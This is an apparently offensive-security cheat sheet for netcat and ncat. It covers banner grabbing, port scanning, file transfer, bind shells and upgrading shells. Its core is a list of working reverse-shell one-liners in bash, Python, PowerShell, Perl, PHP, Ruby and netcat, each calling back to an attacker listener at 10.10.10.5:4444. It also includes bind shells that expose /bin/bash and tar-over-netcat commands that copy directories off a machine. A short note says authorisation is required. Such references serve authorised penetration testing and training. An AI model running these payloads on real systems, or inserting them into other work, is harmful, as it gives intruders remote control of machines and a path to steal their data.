Netcat Cheatsheet: The Swiss Army Knife’s Swiss Army Knife

Category: Cheat Sheets

Tags: netcat, ncat, reverse-shells, port-scanning, file-transfer

Netcat has been described as the Swiss Army knife of networking, which undersells it. Swiss Army knives have a corkscrew and a thing for getting stones out of horses' hooves. Netcat reads and writes data across network connections using TCP or UDP. That single capability -- moving bytes from here to there -- turns out to be useful for an absurd number of tasks: port scanning, banner grabbing, file transfers, reverse shells, bind shells, relays, and chat servers.

There are two main flavours: traditional netcat (nc) and Nmap's ncat (ncat). Ncat adds SSL/TLS support, access control, and connection brokering. Both are worth knowing, because the machine you land on might have either, neither, or some third variant that supports half the flags you expect.

All shell techniques described here require explicit authorisation. Using reverse shells on systems you don't own is illegal in most jurisdictions and inadvisable in all of them.

Basic Connections

At its core, netcat connects to things or listens for connections. Everything else is built on top of these two modes.

Connect to a Port

nc -vn 10.10.10.5 80                  # Connect to port 80 (verbose, no DNS)
nc -v target.example 443              # Connect with DNS resolution
nc -u 10.10.10.5 53                   # UDP connection (DNS, SNMP, etc.)

Listen on a Port

nc -lvnp 4444                         # Listen on port 4444 (verbose, no DNS)
ncat -lvnp 4444                       # Same with ncat
ncat -lvnp 4444 --ssl                 # Listen with SSL/TLS encryption

Flag reference:

Banner Grabbing

Connecting to a port and reading whatever the service sends back reveals software versions, configuration details, and sometimes far more information than the administrator intended.

# HTTP banner
echo -e "HEAD / HTTP/1.0\r\n\r\n" | nc -vn 10.10.10.5 80

# FTP banner
echo "QUIT" | nc -vn 10.10.10.5 21

# SMTP banner
echo "QUIT" | nc -vn 10.10.10.5 25

# SSH banner (just connect -- it announces itself)
nc -vn 10.10.10.5 22

# Generic -- connect and wait for the banner
nc -vn -w 3 10.10.10.5 3306          # MySQL
nc -vn -w 3 10.10.10.5 6379          # Redis

The -w 3 flag sets a three-second timeout -- essential for services that wait for client input before sending anything. Without it, netcat will sit there politely waiting forever, like a British person at a four-way stop.

Port Scanning

Netcat can scan ports in a pinch. It's slower than Nmap and lacks service detection, but it's available on systems where Nmap isn't installed.

# Scan a port range
nc -zvn 10.10.10.5 1-1024

# Scan specific ports
nc -zvn 10.10.10.5 21 22 80 443 445 3389

# Single port with timeout
nc -zvn -w 1 10.10.10.5 8080

# UDP port scan (slower, less reliable)
nc -zvnu 10.10.10.5 53 69 161

The -z flag puts netcat in scanning mode -- it connects to each port and immediately disconnects. Open ports report as "succeeded" or "open." Closed ports fail silently or report "refused."

For anything beyond a quick check, use Nmap instead. It exists for a reason.

File Transfers

No SCP? No Python HTTP server? Netcat transfers files using nothing but a raw TCP connection. The receiver listens, the sender connects and pushes bytes through.

Single File

# Receiver (start this first):
nc -lvnp 4444 > received_file.txt

# Sender:
nc 10.10.10.5 4444 < file_to_send.txt

With Progress Indicator

# Sender (using pv for progress):
pv secret_plans.tar.gz | nc 10.10.10.5 4444

# Receiver:
nc -lvnp 4444 > secret_plans.tar.gz

Entire Directory (tar + nc)

# Receiver:
nc -lvnp 4444 | tar xzvf -

# Sender:
tar czvf - /path/to/directory | nc 10.10.10.5 4444

Verify Integrity

# After transfer, check both sides:
# Sender:
sha256sum file_to_send.txt

# Receiver:
sha256sum received_file.txt

If the hashes match, the transfer was clean. If they don't, something went wrong -- retry before trusting the file.

Reverse Shells

A reverse shell has the target connect back to the attacker's listener. This bypasses inbound firewall rules because the connection is outbound from the target's perspective.

Attacker (Listener)

nc -lvnp 4444                        # Wait for the callback
ncat -lvnp 4444 --ssl                 # SSL-encrypted listener (ncat)

Target (Various Languages)

Netcat (with -e):

nc -e /bin/bash 10.10.10.5 4444

Netcat (without -e -- uses FIFO pipe):

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.5 4444 > /tmp/f

Bash:

bash -i >& /dev/tcp/10.10.10.5/4444 0>&1

Python:

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.10.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

PowerShell:

powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.10.5',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII.GetBytes($r)),0,$r.Length)}"

Perl:

perl -e 'use Socket;$i="10.10.10.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'

PHP:

php -r '$s=fsockopen("10.10.10.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby:

ruby -rsocket -e'f=TCPSocket.open("10.10.10.5",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Bind Shells

A bind shell listens on the target and waits for the attacker to connect. Useful when the target can't make outbound connections but inbound access is possible.

# Target (listener with shell):
nc -lvnp 4444 -e /bin/bash           # Traditional nc with -e
ncat -lvnp 4444 -e /bin/bash --allow 10.10.10.5  # Restrict to attacker IP

# Attacker (connect to it):
nc 10.10.10.50 4444

The --allow flag in ncat is critical for bind shells -- without it, anyone who finds the open port gets a shell. Which is precisely the kind of thing that turns an authorised engagement into an incident.

Upgrading Dumb Shells

Raw netcat shells lack tab completion, command history, and proper signal handling. Upgrade them immediately.

# Step 1: Spawn a PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Step 2: Background the shell
# Press Ctrl+Z

# Step 3: On your attacker terminal
stty raw -echo; fg

# Step 4: Set environment
export TERM=xterm
export SHELL=/bin/bash
stty rows 40 cols 160

After upgrading, Ctrl+C kills commands on the target (not your shell), tab completion works, and you can use editors like vim. The quality-of-life improvement is substantial.

Ncat-Specific Features

Ncat (from the Nmap project) extends netcat with features that matter for security work.

SSL/TLS Encryption

# Encrypted listener:
ncat --ssl -lvnp 4444

# Encrypted connection:
ncat --ssl 10.10.10.5 4444

Access Control

# Only allow connections from specific IP:
ncat -lvnp 4444 --allow 10.10.10.5

# Deny specific IP:
ncat -lvnp 4444 --deny 10.10.10.99

# Allow entire subnet:
ncat -lvnp 4444 --allow 10.10.10.0/24

Connection Brokering

# Set up a broker -- multiple clients connect and share:
ncat -lvnp 4444 --broker

# Clients connect normally:
ncat 10.10.10.5 4444

Proxying

# Forward connections through an HTTP proxy:
ncat --proxy proxy.example:8080 --proxy-type http target.example 80

# SOCKS proxy:
ncat --proxy proxy.example:1080 --proxy-type socks5 target.example 22

Quick Reference

What's Next

• Nmap Cheatsheet -- proper port scanning when netcat's scanning isn't enough
• Pivoting Cheatsheet -- netcat relays in the context of full network pivoting
• Linux Commands Cheatsheet -- the terminal skills that complement netcat
• Offensive Security 102: Reconnaissance -- where banner grabbing and scanning fit in the bigger picture